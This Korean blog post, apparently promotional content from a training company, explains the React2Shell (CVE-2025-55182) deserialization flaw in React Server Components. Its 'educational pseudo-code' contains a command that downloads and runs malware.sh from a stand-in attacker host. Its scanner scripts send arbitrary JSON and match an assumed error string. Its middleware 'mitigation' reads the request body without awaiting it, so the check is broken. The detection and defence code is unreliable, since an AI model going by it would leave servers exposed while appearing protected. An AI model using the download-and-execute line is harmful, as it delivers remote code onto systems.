
저자: Lachlan Davidson
마지막 업데이트: 2025년 12월 4일
최근 몇 년간 React와 관련 프레임워크의 채택이 급격히 늘어나면서 소규모 웹 프로젝트부터 대규모 엔터프라이즈 애플리케이션까지 광범위하게 사용되고 있습니다. 사용량이 늘수록 생태계 전반에 영향을 미치는 취약점에 대한 우려도 커지고 있습니다.
2025년 11월 29일, 필자 Lachlan Davidson은 서버 측 React 구현, 특히 React Server Components(RSC) “Flight” 프로토콜에 영향을 미치는 치명적인 취약점 React2Shell(CVE-2025-55182)을 Meta 팀에 책임감 있게 제보했습니다. 이후 React와 Vercel 팀은 12월 3일 해당 취약점을 패치했습니다. 이 글에서는 취약점의 기술적 세부 사항부터 실제 악용 사례, 탐지 및 완화 방안까지 심층적으로 다룹니다.
이 글에서 다루는 내용
보안 전문가, 위험을 이해하려는 개발자, 현대 웹 기술에 관심 있는 분이라면, 이 글을 통해 기본 개념부터 고급 익스플로잇 기술 및 선제적 방어 전략까지 습득할 수 있습니다.
사건의 타임라인은 위험 관리와 대응 속도를 이해하는 데 핵심적입니다.
추가적으로, Next.js는 React를 별도 번들 형태로 포함(vendoring)하기 때문에 CVE-2025-66478이 별도 부여되었습니다. 기술적으로는 중복이지만, 전통적 스캐너에서 누락될 수 있는 의존성을 추적하기 위함입니다.
React2Shell은 React Server Components 환경의 “Flight” 프로토콜에서 발생하는 치명적 취약점(CVE-2025-55182)입니다. react-server 패키지의 불안전한 역직렬화로 인해 인증 없이 원격 코드 실행(RCE)이 가능해집니다.
주요 특징
create-next-app 등 기본 배포본이 모두 영향취약점의 근본 원인은 서버가 RSC 페이로드를 역직렬화할 때 구조 검증을 충분히 하지 않는 데 있습니다. 공격자는 고의로 조작한 데이터를 보내 역직렬화 과정에서 임의 코드가 실행되도록 유도할 수 있습니다.
간단한 흐름
기본 설정만으로도 충분히 악용 가능하므로 위험성이 매우 높습니다.
Next.js는 React를 번들로 포함하므로, package.json만 스캔하는 도구로는 취약점을 놓칠 수 있습니다. 이를 보완하려고 CVE-2025-66478이 별도 발급되었습니다.
Flight 프로토콜은 서버–클라이언트 간 데이터를 고속 전송하도록 설계되었습니다. 그러나 react-server에서 검증이 부족해 악성 페이로드가 서버 측 명령 실행으로 이어졌습니다.
공격 흐름
Wiz Research 분석
#!/bin/bash
# React2Shell(CVE-2025-55182) 간이 스캐너
# <target_url>을 검사 대상 URL로 바꾸세요.
TARGET="<target_url>"
PAYLOAD='{"malicious": "payload"}' # 테스트용 페이로드
echo "$TARGET 대상 스캔 중..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")
if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
echo "[!] 취약 가능성 있음: $TARGET"
else
echo "[-] 명확한 징후 없음. 추가 분석 권장."
fi
import requests, json
def scan_target(url):
payload = {"test": "data", "action": "simulate_deserialization"}
headers = {"Content-Type": "application/json"}
print(f"{url} 스캔 중...")
try:
r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
if "Error processing Flight payload" in r.text:
print(f"[!] 취약 가능성 발견: {url}")
else:
print(f"[-] 특별 징후 없음: {url}")
except requests.RequestException as e:
print(f"[!] 요청 오류: {e}")
if __name__ == "__main__":
targets = [
"https://example.com/api/flight",
"https://another-example.com/api/flight"
]
for t in targets:
scan_target(t)
// 교육용 의사 코드
const maliciousPayload = {
component: "ShellExec",
args: {
command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
},
_meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
sendToServer(JSON.stringify(maliciousPayload));
다음 함수들이 존재한다고 해서 React2Shell 취약이라 단정할 수는 없습니다.
vm#runInThisContextchild_process#execfs#writeFile진짜 악용 여부는 Flight 역직렬화 흐름을 통해 판단해야 합니다. 따라서:
react-server-dom* 19.0.1, 19.1.2, 19.2.1// Next.js 미들웨어 예시: 추가 입력 검증
import { NextResponse } from 'next/server';
export function middleware(request) {
if (request.nextUrl.pathname.startsWith('/api/flight')) {
try {
const body = request.json();
if (!body || typeof body !== 'object' || !body.component) {
return new NextResponse('Invalid payload format', { status: 400 });
}
} catch {
return new NextResponse('Error processing request', { status: 400 });
}
}
return NextResponse.next();
}
React2Shell(CVE-2025-55182)은 인기 있는 React·Next.js 생태계도 높은 심각도의 취약점에서 자유롭지 않다는 사실을 상기시켜 줍니다. 불안전한 역직렬화를 통해 인증 없는 RCE가 가능하며, 기본 설정만으로도 쉽게 악용됩니다.
핵심 요약
이 가이드가 React2Shell 취약점을 이해하고, 탐지·완화하는 데 도움이 되길 바랍니다. 공식 권고를 꾸준히 확인하고 보안 태세를 지속적으로 개선하세요.
안전한 코딩 되세요!
이 콘텐츠가 유용하다고 생각하셨다면, 저희의 포괄적인 47주 엘리트 교육 프로그램으로 무엇을 달성할 수 있을지 상상해 보세요. Unit 8200 기술로 경력을 변화시킨 1,200명 이상의 학생들과 함께하세요.